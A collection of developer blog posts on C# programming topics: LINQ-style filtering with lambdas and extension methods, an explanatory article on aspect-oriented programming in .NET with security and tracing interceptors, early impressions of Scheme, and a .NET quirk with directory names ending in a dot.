How is this done in C#? Well, it's simple. If you want to control how consuming objects instantiate members of your class, then you have to affect that line of control...in other words, the constructor. Every class in C# is assigned a default (public and parameterless) constructor by the compiler if no other constructor has been supplied by you. We simply need to ensure that no constructor is ever made available. But, wait you say, how do we prevent the compiler from providing a constructor if we don't supply one ourselves. Simple, we will supply our own constructor, but we'll privatize it. That way, the compiler will see that we've provided our own constructor so it won't feel the need to supply one for us, and we will have removed the only possible way for a consuming object to instantiate an instance of our class using the standard MyClass myClass = new MyClass() methodology. Our privatized constructor looks simply like this:
public
MyClass myClass = new MyClass()
private MyClass()
{
};
The next step is to create a private, static member variable inside our class which is of the same type as our class. This static member variable will represent the one and only instance of our Singleton object.
public class MyClass
{
// Here's our member variable which will act as the class instance.
// Note that the compiler will automatically intialize this variable to null.
private static MyClass _myClass;
// Here's our privatized default constructor.
private MyClass()
{
}
. . .
}
Once this is done, we simply need to provide an alternate method for a consuming class to obtain a reference to an instance of our class. This is done by simply providing a public, static accessor property called Instance which returns an instance of our class. Now, this part gets a little tricky. This property will reference our private member variable from the previous step. When the property is accessed, we'll check to see if our member variable is null. If it is, then we'll initialize it using our private constructor that only we can access. Once the member variable has been initialized, we'll simply return it to the calling object. Note that since the member variable is a static object, it will retain its state and will no longer need to be initialized after the first time it's been accessed.
Instance
null
public static MyClass Instance
{
get
{
// This should only ever happen once!
if (_myClass == null)
{
_myClass = new MyClass();
}
return _myClass;
}
}
And that's the basic Singleton pattern. Now, any class that needs to obtain a reference to MyClass may obtain it simply by calling our static Instance accessor and setting the result equal to its own reference to our class, like so:
MyClass
MyClass referenceToMyClass = MyClass.Instance;
The advantages to this pattern are pretty similar to the advantages to using a static object. Only one instance of the object ever exists so it is shared across all consuming classes, meaning that any change to the object by one class will be reflected in all other classes currently holding a reference to the object. There can also be some performance benefits for expensive objects, as well. For example, the Brushes class in the .NET Framework's System.Drawing namespace uses a type of Singleton pattern to limit the times a given Brush object may be instantiated. Brushes, like most GDI+ objects, are typically managed wrappers around unmanaged objects, and as such may be expensive to create and maintain. To remedy this, the Brushes class simply holds static references to all of its underlying Brush objects. When a certain Brush object is requested by a consuming class, it checks to see if that Brush's reference is null. If so, then it creates it, and returns the newly created reference. However, the next time that Brush is requested, the Brushes class will see that it has already created an instance of it, and will simply return the same instance again. As these particular instances of Brush are readonly objects, this behavior is basically transparent to the user.
Brushes
System.Drawing
Brush
readonly
Now that we know what the Singleton pattern is, let's talk about how we can use it to better manage our unamanged resources.
Drawing on the Brushes example above, let's say that we have a large object we need to access, and that for whatever reason, it's expensive to create multiple instances of it. This may be a database connection, a network socket, or in the case of our example, a relatively large resource file such as a Bitmap. Why should we create multiple instance of the exact same Bitmap if all each instance will be used for is to display it unmodified? Why couldn't we just wrap the Bitmap in a class implementing the Singleton pattern, and simply serve up references to the same Bitmap over and over again? In this example, that's exactly what we'll do.
Bitmap
Take a look at ImageWrapper.cs. This is simply a class which wraps a reference to a Bitmap object which, in turn, holds a reference to Sunset.jpg. You may have noticed, however, that there seems to be a bit more going on besides the Singleton pattern. You're right, we're also applying some basic memory management techniques here as well as implementing something called the Dispose pattern. Don't worry, we'll take all of this one step at a time.
Glancing through the code, you may have noticed a few static calls into the GC (for Garbage Collector) class. The GC class provides us direct access into the inner workings of the .NET Garbage Collector. A full discussion of the .NET Garbage Collector is a little beyond the scope of this article, but basically the Garbage Collector is responsible for constantly keeping track of the amount of memory in use in your system, and then reclaiming the unused memory when it decides that you have too much. Sounds like everything works great, huh? Well, almost, except for one little detail - the .NET Garbage Collector can only keep track of managed resources. Remember the discussion before about how many objects, especially GDI+ and graphics objects, are simply managed wrappers to completely unmanaged objects? Well, that means that when you instantiate a few byte reference to a Bitmap object which points to your 32 MB, high-resolution image of the Millenium Falcon, as far as the Garbage Collector knows, you only used up just a handful of bytes in memory. Yeah, it may know that you're pointing to something off in unmanaged land, but for all it knows, it might as well be a 2K GIF, which means that when memory starts to get tight and your machine inexplicably starts bleeding into the page file, the Garbage Collector will still be convinced that you have 32MB of RAM free somewhere, and will continue to troll along happily in its own little oblivion, while your machine constantly page faults again, and again, and again.
GC
And that's if you only have one unmanaged resource in use.
So, with that said, you can probably just about guess what the GC.AddMemoryPressure(long) and GC.RemoveMemoryPressure(long) calls are for, can't you?
GC.AddMemoryPressure(long)
GC.RemoveMemoryPressure(long)
Now, let's talk about another pattern, called the Dispose pattern. You may have noticed that the ImageWrapper class implements an interface called IDisposable. The IDisposable interface is part of a simple pattern designed to ensure that all managed objects containing unmanaged resources are properly "disposed" of. Although we'll explain the highlights of the Dispose pattern briefly in this article, you can find a much more thorough treatise on the proper implementation of the Dispose pattern here. The most obvious part of the Dispose pattern is simply the implementation of the IDisposable interface and its single member Dispose().
IDisposable
Dispose()
public void Dispose()
{
this.Dispose(true);
}
Note that the Dispose method calls an overloaded Dispose(bool) method, passing in the boolean parameter of true. This Dispose method is a bit more complicated.
Dispose
Dispose(bool)
true
protected virtual void Dispose(bool calledFromDisposeMethod)
{
if (calledFromDisposeMethod)
{
// Release any of our unmanaged resources here
GC.SuppressFinalize(this);
}
else
{
// Release any of our unamaged resources
}
}
This method simply determines whether or not it was called by the public facing Dispose() method. If so, then it releases any of its allocated unmanaged resources, and then calls something called GC.SuppressFinalize(object). The GC.SuppressFinalize(object) is a call to the Garbage Collector, which simply tells it that when this object is ready to be collected, it won't have to do any extra "clean-up" work to it by calling its Finalizer. What is a Finalizer, you ask?
GC.SuppressFinalize(object)
A Finalizer is a little similar to a C++ destructor. It's basically a method that a class defines for itself, which allows it to do any clean up just before it goes away. The Finalizer is denoted by the class name preceded by a tilde.
~ImageWrapper()
{
this.Dispose(false);
}
The Finalizer may only be called by the .NET framework, and is not directly accessible from user code. Notice that the Finalizer also calls the Dispose(bool) method, but that it passes the value false. If you recall from the Dispose(bool) code above, when we encounter a false value, we simply release any unmanaged resources without calling the GC.SuppressFinalize(object) method. Since the Finalizer may only be called by the .NET framework itself, specifically the Garbage Collector, the object is being Finalized when the method is called. As you may have realized by now, an object's Finalizer is called while it is being reclaimed by the Garbage Collector, or "destroyed". As similar as this sounds to a C++ destructor, there is one crucial difference that must be mentioned. .NET object lifetimes follow what's known as a non-deterministic destruction model, whereas C++ follows a deterministic destruction model. What this basically means is that if you destroy a C++ object, its destructor is called immediately, whereas destroying a .NET object (setting it to null or letting it simply scope itself out) simply makes it eligible for collection the next time the Garbage Collector runs. In essence, this is .NET's way of saying 'although I'll try to collect your object as soon as it makes sense to do so, I can't guarantee that it'll be the absolute very next thing I do'. This means that a lot of things could happen between when you're done with the object and when the Garbage Collector actually destroys it, namely unmanaged resources hanging around and clouding up the system for far longer then they need to, and preventing other objects from taking hold of these same resources even though you may have been finished for quite some time. This is, in essence, the point to the Dispose pattern. Think of it as your way of implementing your own sort of deterministic destruction. The Dispose pattern can guarantee us that although our object may not actually be destroyed yet, we've taken great care to ensure that any unmanaged resources we were using have been released back into the wild, taking the pressure off of the system as well as freeing them up for others to use.
false
The Dispose pattern implies an understanding between the consuming object and the disposable object as well. Best practices tell us that anytime we consume an object which implements the Dispose pattern, we should call the object's Dispose() method as soon as we're done. That allows the object to start trying to clean up itself as soon as possible.
The final point to note about our ImageWrapper class is the use of reference counting. Reference counting is a simple technique used when dealing with multiple handles into the same resource. It basically allows us to keep track of how many objects are still referring to our object, and to ensure that we don't destroy ourselves, or in this case our unmanaged resource, while others may still be accessing it. Keep in mind that if we were relying completely on the Garbage Collector to destroy our objects when we're done with them, that we would not necessarily need to keep track of the number of consuming objects ourselves. The Garbage Collector would do that for us, and would be sure not to destroy an object while any other object still had a handle to it. However, since our consuming objects will be explicitly calling our Dispose() method as they finish, we need to keep a track of the number of objects still actually using our object before we start to destroy it. Remember, ImageWrapper is a Singleton, and therefore any operation that a consuming object performs on us will affect all others who are using us. Specifically, if one consuming class disposes of us, all of the other consuming classes' references to ImageWrapper will be disposed as well.
The reference counting in ImageWrapper is simple. We simply define a static integer to hold our number of active references, private static int _referenceCount;, and incrememnt it each time an object calls our Instance property. Then, each time an object calls our Dispose() method, we first decrement our reference count and then check its value. If it has reached zero, then we can safely assume that no other objects are using us and that it's safe to destroy ourselves. If it hasn't reached zero, then that means that someone is still using us, so we'll simply do nothing.
private static int _referenceCount;
Simple, right? Absolutely. Foolproof? Note quite.
What happens if an object that's consuming us forgets to call our Dispose() method when it's done. That means that we'll never decrement the reference count for that object accordingly, and that when the last object disposes of us, we'll still have a reference count of 1, meaning that one reference will still be unaccounted for. That means that, we'll never call our Dispose(bool) method, and we'll never release our resources. Won't this lead to a memory leak? Well, yes and no. Remember the Finalizer? When the Garbage Collector reclaims an object, it checks to see if the object is Finalizeable (i.e., it has a Finalizer). If so, then it calls the object's Finalizer, granting it one last chance to release all of the resources it may still be claiming, to make amends with the world, so to speak. The GC.SuppressFinalize(object) method we call in our own Dispose(bool) method simply tells the Garbage Collector 'hey, this object may have a Finalizer, but we've already taken care of it so you don't have to call it'. If we never call our own Dispose(bool) method because of the reference count not reaching zero, we'll never call the GC.SuppressFinalize(object). This means that when the Garbage Collector sees itself that no one else is using our object and reclaims it, that it will call the Finalize method itself, releasing all of our resources. So, although we may hold on to resources for a little longer than is really necessary, we're not actually leaking them to the system.
Finalize
In this article, we learned how to combine the Singleton pattern and some basic knowledge of the Garbage Collector to keep better track of unmanaged resources. We also learned a bit about the Dispose pattern, and how it can be used to its fullest potential. Finally, we learned how older techniques such as reference counting still have a place alongside cutting edge technologies such. | http://www.codeproject.com/Articles/15773/Using-the-Singleton-Pattern-to-Manage-Unmanaged-Re?msg=1694747 | CC-MAIN-2016-40 | refinedweb | 2,956 | 60.45 |
- Insert a setup project to the addin solution
2. Add the necessary files to the newly created project: I have created two folders in the application folder, and in the “Bin” folder, I added “the project output”, which includes the Addin DLL and all the dependent assemblies. While in the “grammars” folder, I added related grammar “GRXML” files.
3. Select the setup project, and then property window, configure the icon of the installed program. This icon will be shown in the Control Panel > Program and Features, when users install or unsintall the program. You can additionally configure the manufacture name, product name and many other details, this will affect the default installation folder.
4. Right-click the installation folder, and click the “property window”, edit the default location to a descired one.
5. In order for your setup project to automatically register the Add-in DLL on the target machine, you can manually type “regasm YouDll.dll /codebase”. To include this auto-registration feature:
- Add the two files “AutoRegAsm.cs” and “AutoRegAsm.Designer.cs”;
- Open the two files, change the namespace to be the same as the one for the Add-in DLL;
- Add a reference of System.Configuration.Install to the add-in project;
- Right-click the setup project -> view -> Custom actions, in the “install” and “commit” node, add the dll or the “project output” as the executable;
- Recompile the solution.
DotNET74
October 8, 2008 at 2:18 am
Hi,
Very great blog.
I’m looking for install C# AddIn in VS 2008 but i didn’t find the Addin on my Solidworks discs.
Have you a link for me, please.
Thanks
Clint Cambier
March 27, 2009 at 10:38 pm
Hey there, thanks alot for the information provided on the page. However there seems to be a slight problem, you refer to two classes being: AutoRegAsm.cs and AutoRegAsm.Designer.cs.
I can’t seem to find these somewhere sadly, are these your own creations and if so could you provide a link from where we can download these?
Kind regards
Clint C.
xinyustudio
March 29, 2009 at 12:38 pm
Hi, Clint.
The files are downloaded from elsewhere, and you can goolge it to get them. Let me know if you failed to find them and I shall append it in my download links. Good luck.
Clint Cambier
April 20, 2009 at 7:36 pm
I tried to google for those 2 files but the only result Google gave me was this webblog.
Is it possible to upload the files please.
Kind regards
Clint C.
xinyustudio
April 21, 2009 at 10:33 am
Clint, please go to to get it, hope this helps.
Clint Cambier
April 21, 2009 at 5:54 pm
Hello there,
First of all: Thanks!
I allready downloaded the files and I’m now trying to get this working.
best regards
Clint Cambier
April 30, 2009 at 5:12 pm
Hello
I got it al sorted out and working! Thanks for all of that.
Now I experienced another problem. If I uninstall the project the registerkey isn’t removed. So now, Solidworks gives me an annoying error message every time I start up.
Do you have a solution for this?
Best regards
xinyustudio
May 20, 2009 at 3:26 pm
Please give more detailed information. I can not figure out what is left and how to deal with this.
Steve Lynch
January 17, 2011 at 11:30 pm
Can you point me to the two files AutoRegAsm.cs and AutoRegAsm.Designer.cs. or post the code for these?
The link above does not provide this.
Thank you.
xinyustudio
January 18, 2011 at 9:28 am
Steve,
Leave me your email and I shall offer a copy. | https://xinyustudio.wordpress.com/2008/09/08/create-a-setup-package-for-solidworks-addin/ | CC-MAIN-2019-30 | refinedweb | 622 | 74.19 |
Using SVG on the Web
If you are able to ignore Internet Explorer, all the other major browser can render SVG content. Recently, while writing previous posts and webapps, I discovered several quirks that may cause browsers to fail to render SVG content consistently.
Including SVG inline in the document.
<html xmlns=""> <head> <title>Using SVG inline in an XHTML document</title> </head> <body> <h1>Using SVG inline in an XHTML document</h1> <svg xmlns="" width="250" height="250" style="border: 1px solid black"> <circle fill="rgb(250, 160, 20)" cx="100" cy="50" r="80" /> <rect fill="rgb(20, 250, 20)" fill- </svg> </body> </html>
View this example in your browser.
Inline SVG is an attractive option because it doesn’t require an external file. Unfortunately, inline SVG has one significant problem: authors are forced to use XHTML and the
application/xhtml+xml MIME type, instead of standard HTML and the
text/html MIME type. XHTML is not a very forgiving language, and one I would generally discourage. Depending on authoring tools and other content on the page, producing valid XML may be difficult. Even more problematic is that Internet Explorer will refuse to display the page at all; there is no graceful fallback for the majority browser. Finally, syndicating SVG in feeds will often cause the SVG to be stripped as it is syndicated.
I used inline SVG for my Mozilla compiler warnings front end, because I don’t care about Internet Explorer users in that application. But it has very limited usefulness in general.
Referencing external SVG content
At first glance, it might seem that you could reference an SVG document using the HTML <:img> element., but this is not the case. SVG images are complete sub-documents. They have their own script context and can script themselves. They can also load additional sub-documents such as images. Because of this, browsers force authors to embed SVG images using <object> or <iframe>.
Embedding SVG with <object>
The <object> element is the generic HTML mechanism for embedding external content. It can be used just like an <iframe> for external HTML document. It can be used to embed plugin-rendered content such as Flash, and it can be used to embed SVG:
<object type="image/svg+xml" data="" width="250" height="250"> Alternate markup here. If you see this, your browser may not support SVG, or a content aggregator may have stripped the object element. </object>
The object element is the best choice in most situations. All browsers including Internet Explorer will display the fallback content if they don’t know how to display SVG or if the image won’t load. Using the object element, authors can even pass parameters to the SVG document.
Embedding SVG with <iframe>
It is also possible to include SVG content using the <iframe> element.
<iframe width="350" height="250" src=""> Alternate markup here. If you see this, your browser might not support iframes, or a content aggregator might have stripped the iframe element. </iframe>
There are minor but important differences using iframe rather than object to display SVG: Internet explorer will load the iframe but choke on the SVG content. The user won’t skip back to the fallback content within the <iframe>element, and in some cases the user may see a download prompt for the SVG document. But many content sanitizers such as those found in feed aggregators will allow <iframe> through while rejecting <object> And finally, iframes have a border by default. You can remove this border using CSS.
Use this MIME type:
image/svg+xml
The correct MIME type for SVG content is
image/svg+xml. Firefox will accept
application/svg+xml but Safari will not!
Specify image dimensions
The author should know the image dimensions in advance. If you don’t specify the width and height in the <object> or <iframe> element, browsers will initially size the object at 300×150 pixels, and then their behavior will diverge:
Don’t use rgba() colors in SVG
The CSS3 specification allows for any color to be specified with transparency using rgba syntax. Many web browsers support RGBA colors for HTML content, but only Firefox supports them for SVG content. Instead of using rgba colors, use the SVG properties
fill-opacity and
stroke-opacity for maximum portability.
<svg xmlns="" width="500" height="100"> <circle fill="rgb(180, 180, 250)" cx="100" cy="20" r="85" /> <text x="10" y="45" font-rgba transparent text?</text> <text x="10" y="95" font-use fill-opacity instead!</text> </svg>
December 22nd, 2008 at 3:07 pm
There is an extra option that works fine for HTML documents : include a light JS script that will at load time detect all svg-like elements in the plain html instance and replace it by the the same DOM subtree in the correct SVG namespace. Many, many people use that hack. Granted, it’s not nice. But at least it degrades gracefully in IE.
December 22nd, 2008 at 9:26 pm
Thanks for taking the time to post your findings. Developing internal company web apps leaves me with the luxury of ignoring whatever browsers I want so inline SVG has been used extensively with Firefox to create some pretty jaw-dropping interactive reports. Having always wanted to get some of the stuff working in Safari, I was happy to stumble across your post as it seems to be a great jump-start. Thanks.
December 22nd, 2008 at 9:58 pm
I am also curious: what do you mean when you say XHTML is not a very forgiving language? Isn’t it just another XML language like SVG? Thanks again.
December 22nd, 2008 at 11:40 pm
> Many web browsers support RGBA colors for HTML content, but only Firefox supports them for SVG content.
Opera 10 alpha does support RGBA colours in SVG content.
December 23rd, 2008 at 7:17 am
Instead of <: you probably meant to write a semicolon there…
An XML-based system would have caught this error, you know ;p. (And no, it would not break your page, it would refuse to submit it before you correct the error.)
December 23rd, 2008 at 8:44 am
Anonymous: I don’t know what “refuse to submit” means… WordPress doesn’t do XML validation during editing. A simple typing error would cause my post to be unreadable in browsers.
December 23rd, 2008 at 11:58 am
Benjamin,
Do you think SVG would be a good alternative to draw graphs in Bugzilla? Any idea if IE7 supports SVG natively? Or at least if there is a plugin to display SVG content?
December 23rd, 2008 at 12:17 pm
LpSolit: no, I don’t think SVG is a good tool for bugzilla graphs. I think you should consider using a cross-browser graphing library such as which uses canvas on browsers and a VML shim library to support IE.
December 23rd, 2008 at 12:29 pm
The reason is because IE doesn’t support SVG or because SVG is not suitable to display graphs?
December 23rd, 2008 at 3:39 pm
IE doesn’t support SVG natively, and the only ActiveX control that I know of (the Adobe one) was discontinued.
December 26th, 2008 at 1:20 am
HTML IMG elements should support SVG images. We plan to add that in Gecko 1.9.2.
January 1st, 2009 at 3:40 am
[…] Benjamin Smedberg takes a look at a crop of cross-browser issues with using SVG on the web. […]
January 5th, 2009 at 5:19 pm
[…] Using SVG on the Web […]
January 5th, 2009 at 7:13 pm
Frederic: You might also want to look at Raphaël. It is JavaScript API for drawing vector graphics cross-browser – it uses SVG in supporting browsers and VML in IE. It is suitable for graphing and even has two emerging charting libraries built on top of it: SimpleGraph and TufteGraph.
January 28th, 2009 at 11:37 am
Lachlan: I would prefer a JS-less way to display graphs. There are still some users of Bugzilla who don’t have JS enabled.
February 15th, 2011 at 2:03 pm
A Belorussian translation of this article has been posted. A big shout-out to Martha Ruszkowski for doing that work! | http://benjamin.smedbergs.us/blog/2008-12-22/using-svg-on-the-web/ | CC-MAIN-2019-22 | refinedweb | 1,378 | 61.87 |
For taking k random samples (with replacement) from a population, where k may be greater than len(population).
random.sample() lets you do random sampling without replacement. sample_wr() lets you sample with replacement.
Some simple examples:
tosses = sample_wr(('H', 'T'), 100) # simulate 100 coin tosses rolls = sample_wr(range(1,7), 100) # simulate 100 dice rolls
make a random string from 200 characters over a given alphabet
from string import letters as alphabet rstr = ''.join(sample_wr(alphabet, 200))
NOTE:
You could use
from random import choice sample = [choice(population) for i in xrange(k)]
but that is 2-4 times slower than sample_wr(population, k) for 10E3 <= k <= 10E6
from random import random n = len(population) sample = [population[int(random()*n)] for i in xrange(k)]
is better but still slower.
math.floor() beats int(). It is faster still to use _int=math.floor for this situation (rounding positive numbers downward).
Nix the previous comment. The float result still needs to be converted back to an integer at some point.
In Py2.4, pre-allocation no longer rules. In the next version of Python, list comprehensions have been super-optimized and cannot be beat by pre-allocating and using indices.
And you can go bit faster using itertools:
correction, accolades, and propositions. return [population[_int(_random() * n)] for i in ... ]
I've been following python-dev, so I'm aware of the optimizations you've been making. Congratulations on your results to date, and thank you for your time and efforts.
I wonder, do you suppose the developers would accept changing random.sample to allow for sampling with replacement?
replacement=False by default (backwards compatible)
random.sample(population, k, replacement=True)
Adding a replace=False option to random.sample. For several reasons, probably not.
The straight-forward list comp does the trick pretty well. Anything that someone can bang out without much thought is rarely a good candidate for building into the library unless the pattern is very general and the use cases very common. The reasoning is that it is typically easier to bang out a couple of lines than to learn and remember dozens of method variations. Part of the justification for the inclusion of sampling without replacement is that it took a great deal of skill and time to implement correctly.
The other issue is that there are plenty of use cases that just do not need the whole sample all a once (those are best served by a simple for-loop). In contrast, sampling without replacement requires some state memory between calls.
Also, adding a new method is typically preferred to adding a keyword switch (for example, see itertools ifilter() and ifilterfalse()). However, for the reasons listed above, the inclusion of this as a separate method is unlikely.
I put all of this here because it is useful to a wider audience. Feel free to email me for any further discussion. | https://code.activestate.com/recipes/273085-sample-with-replacement/?in=lang-python | CC-MAIN-2022-05 | refinedweb | 484 | 56.86 |
= is for assignment, == for comparison
This is a discussion on Problems with Looping within the C++ Programming forums, part of the General Programming Boards category; = is for assignment, == for comparison...
= is for assignment, == for comparison
I wrote the program and it works perfectly, but there's a catch.
Code:#include <iostream.h> #include <string> using namespace std; int main() { string date; char answer; //either yes or no bool check; do{cout << "\nplease enter the date in dd/mm/yyyy: "; cin >> date; cout << "\nIs this the correct date ? press y/n \n" << date << "\n\n"; cin >> answer; if (answer == 'y'){ cout << "\nThank you!!\n"; break; } else if (answer != 'n' && answer != 'y') { cout << "invalid input\n"; } } while (answer == 'n' && answer != 'n' || answer != 'y'); system ("pause"); return 0; }
i got it to loop and put it in my program, (right at the end. last 7 lines)...
but, i have a problem. When a non integer is inputted, the program crashes.
how do i get around this ?
Code:#include <iostream.h> #include <string> #include <conio.h> main() { int salescode, bikeprice, modelcode, quantity; string date; char answer; //either yes or no); do { cout << "\nPlease enter the date in this format dd/mm/yyyy: "; cin >> date; cout << "\nIs this the correct date ?\t" << date << "\tpress y/n: \n\n"; cin >> answer; //gets answer from user switch (answer) { case 'y': cout << "\n\n\nThank You!\n\n"; break; } }while (answer != 'y'); }
Shouldn't those be AND operators? saying OR means that only on side has to be true for it to continue.
As to the actual question you asked, have you read the FAQ yet, particularly Cprogramming.com FAQ > Convert a string to a int (C++) ?
Which part doesn't it recognize?
You can't use >> by definition since that will not read in a character.
Error: noname00.cpp(1,2):Unable to open include file 'SSTREAM.h' ??????????????
Warn : STRING.h(549,3):Functions containing for are not expanded inline
Warn : STRING.h(557,3):Functions containing while are not expanded inline
Warn : STRING.h(563,3):Functions containing for are not expanded inline
Warn : STRING.h(575,3):Functions containing for are not expanded inline
Warn : string.cc(686,32):Comparing signed and unsigned values
Error: noname00.cpp(37,25):Undefined symbol 'istringstream' ??????????
Error: noname00.cpp(37,25):Statement missing ; ?????????????
Error: noname00.cpp(39,17):Undefined symbol 'myStream' ???????
Warn : noname00.cpp(43,2):Parameter 's' is never used
Warn : noname00.cpp(43,2):Parameter 'i' is never used
are you trying to accomplish something like this
breakup code however needed,breakup code however needed,Code:#include <string> #include <iostream> #include "input.h" //function prototype of double readDouble(string prompt, bool allowNegatives) using namespace std; int main() { double month;//use whatever u want here double day; double year; char resp; char no='n'; yes='y'; do{ double month=readDouble("Enter a month ",false); double day=readDouble("Enter a day ",false); double cin>>year=readDouble("Enter a year ",false); cout<<"Is this date correct "<<month<<"/"<<day<<"/"<<year<<endl; cin>>resp; }while(resp=='n'||resp==no); //while(resp=='y'||resp==yes) //put whatever u want here } double readDouble(string prompt, bool allowNegatives) { double rv=0.0; bool done=false; do { cout<<prompt; cin>>rv; while(cin.fail()!=0) { cerr<<"Cannot read data!"<<endl; cin.clear(); cin.ignore(256,'\n'); cout<<prompt; cin>>rv; } if (allowNegatives==false && rv<0) { cerr<<"Input positive numbers!"<<endl; cin.clear(); cin.ignore(256,'\n'); cin>>rv; } else { done=true; } return rv; } while(done==false); }
now that im looking at this the char no='n' and char yes='y' are not needed
Last edited by Creatlv3; 05-04-2010 at 01:37 AM. Reason: took a closer look at my program, fixed mistakes made by tiredness | http://cboard.cprogramming.com/cplusplus-programming/126215-problems-looping-2.html | CC-MAIN-2015-27 | refinedweb | 621 | 58.08 |
This program listing from the book "C By Example" (QUE pub. 1993) page 538, "Writing to a Printer" does not work for me.
I'm using WIN98 and Borland TURBO C++ 3.1 and
Borland C++4.0. The program is compiled as print.c using the IDE
option. The Printer is an HP DeskJet 832C.
The code suggested by 'moi' will not compile while using Borland Turbo C++ 3.1, but does compile when using Borland C++ 4.0.
But the output would not go to the printer.....
The suggestion from Salem confuses me (I'm new to programming).
Do not know the correct format to use at the Command line (is this the DOS C prompt?). Or should the "print file.txt" be included in the C program?
Program listing from the book:
/*Writing to a printer */
#include <stdio.h>
FILE *prnt;
main()
{
prnt = fopen("LPT1", "w");
fprintf(prnt, "This is a test.\n");
fclose(prnt);
return(0);
}
The output always goes to the screen, not to the printer.
No problem printing the code.
Thanks in advance for any suggestions. | https://cboard.cprogramming.com/c-programming/22931-output-printer.html | CC-MAIN-2017-13 | refinedweb | 182 | 87.92 |
was just reading Mike Stall's blog Fun with yield, generics, foreach. He discusses using enumeration with yield and generics. The example he uses is a heterogenous array object[] list = new object[] {1,2, "abc", 5f, "def" }; and he needs to print all the strings in it. The simple solution in C#1.x is
object [] list = new Object[] { 1, 2, "abhinaba", 5f, "basu" };foreach (Object o in list) { string s = o as string; if (s == null) continue; Console.WriteLine(s); }
{
}
Initially I was kind of opposed to the whole idea of LINQ. I think this is the mental adoption blocker which everyone talks about. As time is passing and I am being forced to use C#2.0 (we have not yet moved to 3.0) everyday I get the urge to use LINQ as it solves many problem so elegantly. If we use C#3.0 we can do this as follows
object[] list = { 1, 2, "abhinaba", 5f, "basu" }; foreach( var v in list.Where(x => x is string)){ Console.WriteLine(v);}
{
This code uses some of the new C#3.0 features. Where is a System.Query provided extension method which you can add to any collection. x => x is string is a lambda expression which is passed as the predicate to the extension method. Here type parameters of the predicate is inferred from the lambda expression.
After writing this code I just felt happy. I think the greatest achievement for any language is that it makes programmers who use it happy, what more can you ask for?
<Edit : Some additions>
I asked what more you can ask for and Theme over on the original Mike's post suggested that the foreach can be further reduced. I took the hint and cooked up the following
public delegate void Action<T>(T val);static class MyExtensions{ public static void ForEach<T>(this IEnumerable<T> list, Action<T> act) { foreach (T t in list) act(t); }} object[] list = { 1, 2, "abhinaba", 5f, "basu" };
list.Where(x => x is string).ForEach(Console.WriteLine);
{
act(t);
}
So if I have the Extension method ForEach handy in some assembly/source or if I can find the equivalent in System.Query namespace then I have reduced the solution to 2 lines. Since the whole of it is generics based and Console.WriteLine have enough overloads the solution works fine with data types other than string (like int).
I asked for more and got more. Bring on C#3.0, 2.0 is already stale and its time to replace it...>.
I develop commercial software which is critical for our customers' success. In this effort we always take decision in favor of the customer. The customer rules!!! Many times the decisions are not of great liking to the developers and we get into heated arguments with the PMs and leads arguing that we should do this feature or we should use that technology. Sometimes we become over-passionate about fixing some bugs which gets reproed in arcane situations. The PM's generally know more as these are the folks who do all the research on customer requirements, usage scenarios and they are right most of the times.
But this does not mean that the developers are wrong. I was greatly inspired by the following piece from SICP
)
So there exists no monarchy is software development, its democracy and customer's rule as much as fun does. So lets get going and have all the fun we can afford......
Some time back I wrote an article on AOP using .NET languages. It's a long post so bear with me. In case you are interested only about C# go down here
What is AOP
Aspect Oriented Programming or AOP is an interesting concept that can be applied to many of the programming problems we solve everyday. In our Visual Studio team system code we have a lot of web-services and remoting code that essentially does the following
public void MyMethod(int parameter){ Trace.EnteredMethod("MyMethod", parameter); SecurityCheck(); // Bunch of processing Trace.ExitMethod("MyMethod");}
public
Trace.EnteredMethod(
SecurityCheck();
Trace.ExitMethod(
This is not just peculiar to our domain but is seen across different domains. In OO programming classes and methods are designed for performing specific operations and common/duplicate functionality are factored out into common classes. However, there are cross-cutting concerns that span accross all classes and methods, like logging and security checks. OOP only partially solves this problem by requiring users to define separate classes for logging and security checks and requiring each class/methods needing these services to call them. AOP targets and solves this problem elegantly.
AOP divides code into base-code (code for your functionality) and a new construct called aspect. Aspect encapsulates these cross-cutting concerns using the following concepts
The most mature AOP language is probably AspectJ which adds AOP extensions to Java. However, for this blog, I'd stick to .NET languages like AspectDNG, Aspect# and C#.
Language support for AOP
Aimport YourCompany.CMS.Aop.Interceptors
aspect SecurityAspect for RSSContentProvider include Mixins.SecurityResourceImpl in MyMixinsAssembly
pointcut method(* MyMethod(*)) advice(TracingInterceptor) end endpublic) { // ... }}
using System;; }}
using
[AroundCall(.
AOP in C#
Tillusing Abhinaba.Aspect.Security;[Security()]public class MyClass : ContextBoundObject { public int ProcessString(String s, out string outStr) { Console.WriteLine("Inside ProcessString"); outStr = s.ToUpper(); return outStr.Length; }}
// Include the aspect framework
outStr = s.ToUpper();()); } }}
namespace
m_next = next;
#region
[
ccm.ContextProperties.Add(
Sample code
The sample solution (VS2005) including all sources are available here. It contains sources for two different aspects, one for security and one for tracing both applied on the same class. I have applied conditional compilation attribute to the tracing aspect so that on release build tracing gets disabled.
Unfortunately I did not attend MIT, and Scheme was not taught to us as one of the first languages :) . Our college used Prolog for similar purpose and I learned scheme much later. When I first started out what intrigued me most was that its one of the oldest launguages around and was still holding ground. It was developed in 1975 a year before I was born and in the field of computing things seldom stick for so long.
After taking a brief look into the syntax I figured out this is not one of those languages where you try out "Hello world" first. I brought up the DrScheme IDE and tried out (/ 22 7) which is supposed to print out 22 divided by 7. I was surprised that to get back 3 1/7 and not something like 3.1428.
The results of the next attempt was even for interesting. I tried out (% 22 7). This was a typo as there is no % operator in Scheme. The Scheme interpreter actually displayed the imageof a bug to indicate there was a bug in the code I typed. Whenever I get a VSTS bug assigned to me on some improper/ambiguous/funny error messages I always feel like showing that person this message :)....
First a quiz, assuming that all required priviledges are there what is the output of the following code. All the important bits are marked in bold
class Program{static void Main(string[] args){ string dirName = @"c:\a."; try { System.IO.Directory.CreateDirectory(dirName); Console.WriteLine("Created {0}", dirName); Console.WriteLine( System.IO.Directory.Exists(dirName) ? "Dir exist": "Dir doesn't exist"); } catch (Exception ex) { Console.WriteLine("Failed to create directory {0}: {1}", dirName, ex.Message); }}
class
System.IO.
The output is
Created c:\a.Dir exist
The problem is if I go to C:\ I see a folder names a and not a. The dot at the end is conveniently dropped. What more interesting is that even though a. does not exist the Directory.Exists API returns true. Windows does not support files and folders with a dot at the end. If you use command window to create a file with a dot at the end then you simply get the file without the dot and no error is reported. .NET Directory API's exactly simulate this, but the question is do I want the simulation? I'd like to see API's being honest and report issues if it fails to do something. API's are used at a lot of places and the burden of checking should be done inside the API and not on code calling the API.
